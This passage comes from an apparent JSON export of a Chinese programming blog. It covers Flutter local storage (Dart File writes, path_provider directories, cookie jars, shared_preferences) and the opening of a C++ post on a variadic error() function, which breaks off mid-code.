class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 字符串写入方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"path_provider\"\u003epath_provider\u003c/h4\u003e\n\u003cp\u003e作为一个跨平台的开发框架,Flutter 要能适应很多方面,其中最主要的就是存储位置。我们要存储一个文件的时候,需要在不同设备上,找到对应的位置。而在很多设备上,相同类型文件的存储地方是不一致的。\u003ccode\u003epath_provider\u003c/code\u003e能够让我们找到相应的位置。具体使用方式请参阅它的文档。\u003c/p\u003e\n\u003cp\u003e以下这个表格能体现出存储地方不同的问题:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDirectory\u003c/th\u003e\n\u003cth\u003eAndroid\u003c/th\u003e\n\u003cth\u003eiOS\u003c/th\u003e\n\u003cth\u003eLinux\u003c/th\u003e\n\u003cth\u003emacOS\u003c/th\u003e\n\u003cth\u003eWindows\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTemporary\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Support\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Library\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Documents\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Cache Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDownloads\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下是我程序的一份示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// Loading cookiejar.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 先获取到 ApplicationSupport 的位置在哪\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003egetApplicationSupportDirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 注意 supportPath.path,这里我读取了路径结果\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/sport\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eIDSCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/ids\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"shared_preferences\"\u003eshared_preferences\u003c/h4\u003e\n\u003cp\u003e我们程序更多的是要在本地存储一些简单的设置信息,具体来说,是很简单的 key-value 东西了。比如说,你的学号和密码是什么,你的宿舍号之类。我们使用 shared_preferences 来解决这个问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 初始化一个示例\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 设置一份 key-value\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 读取一份 key 对应的数据\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 清除所有设置\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://dart.dev/language\" target=\"_blank\" rel=\"noopener\"\u003eDart 语言官方简介\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/get-started/codelab\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 上手教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/development/ui/layout/tutorial\" target=\"_blank\" rel=\"noopener\"\u003e布局构建教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003eTraintime PDA (Watermeter) 代码\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"封面\"\u003e封面\u003c/h2\u003e\n\u003cp\u003eMaggie 去日托所的一天。\u003c/p\u003e\n\u003cp\u003e主要看中了蝴蝶,因为蝴蝶和 Dart 的吉祥物蜂鸟类似。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Cirno-Easter%20Egg.png\" alt=\"Featured image of post 我在 2022 年学到了什么\"/\u003e\u003cp\u003e把去年学到的东西,没说过的拼接一下,回见了您。\n(之前名称叫 Hadoop 额外技能,不能就这样就和老博客同步,索性把大作业里面我顺手提到的东西都罗列一通)\u003c/p\u003e\n\u003ch2 id=\"c-大作业技术罗列\"\u003eC++ 大作业技术罗列\u003c/h2\u003e\n\u003cp\u003eC++ 大作业学到的偏门东西。\u003c/p\u003e\n\u003ch3 id=\"va_list-对象\"\u003eva_list 对象\u003c/h3\u003e\n\u003cp\u003e不用 \u003ccode\u003eprintf()\u003c/code\u003e 函数,运用 \u003ccode\u003ecstdarg\u003c/code\u003e 库实现类似该函数的 \u003ccode\u003eerror()\u003c/code\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e函数原型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e算法\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e生成 \u003ccode\u003eva_list\u003c/code\u003e 对象,然后初始化。\u003c/li\u003e\n\u003cli\u003e通过对母字符串的逐个字符读取,判断以下情况:\n\u003cul\u003e\n\u003cli\u003e如果不是 \u003ccode\u003e%\u003c/code\u003e 直接输出。\u003c/li\u003e\n\u003cli\u003e如果是 \u003ccode\u003e%\u003c/code\u003e, 后面跟着是:\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align:center\"\u003e输入\u003c/th\u003e\n\u003cth style=\"text-align:center\"\u003e输出\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003es\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符串\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ec\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ed\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e整型数\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003e%\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e\u003ccode\u003e%\u003c/code\u003e符号\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e注意判断字符还是整数的时候,先按照整型数读入,然后按情况强制类型转换看看。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ecstdarg\u003c/code\u003e 函数库怎么搞不定长形参的?\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e形参的最后一定要是省略号。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_list\u003c/code\u003e 规定一个不定长形参变量。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_start\u003c/code\u003e 让其找到开始位置,之后 \u003ccode\u003eva_arg\u003c/code\u003e 向后读取一个参数。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_end\u003c/code\u003e 终止 \u003ccode\u003eva_list\u003c/code\u003e 存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C++\" data-lang=\"C++\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstdarg\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_list\u003c/span\u003e \u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n \u003cspan 